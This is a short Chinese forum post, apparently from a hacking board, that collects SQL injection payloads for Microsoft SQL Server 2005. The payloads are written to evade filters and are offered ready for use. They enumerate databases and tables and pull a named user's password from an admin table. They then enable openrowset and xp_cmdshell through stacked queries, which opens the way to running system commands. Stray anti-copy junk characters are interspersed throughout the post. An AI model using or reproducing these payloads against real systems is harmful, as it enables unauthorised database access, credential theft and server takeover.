MSsql2005注入语句

admin

/ |5 s! V/ X( u( `, ]$ P! V4 {
[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
) w, m" h- D* y' J. R
: }; X4 p; X' I: B1 I9 {" `8 V& e爆表语句,somedb部份是所要列的数据库，红色数字1累加
7 k" @/ V& X0 f2 j, q

1 m  V% z) @* Z6 u[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段

5 o' n( `0 s) o0 ^8 t6 G- _
) V* c5 L( `& d, j[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
: \2 @7 X  `" t: l- g1 b# I, m如果是sa权限，可以这样来开启
6 {: g: g) W( K9 |1 ]/ T开启openrowset


[Copy to clipboard]CODE:
. F! }1 p9 ?. H1 B  J2 t, J/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

5 M$ ?8 Y, z9 x0 q1 z1 L' N* _开启xp_cmdshell
; o+ A! l! `, T5 i0 A

# ]) O5 M2 l. H' v9 w! N[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
& n9 j' L, j9 F1 Y. H* hEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
3 M0 @" S5 Q4 C5 f8 S: J4 _$ ^
ok,over~~晚安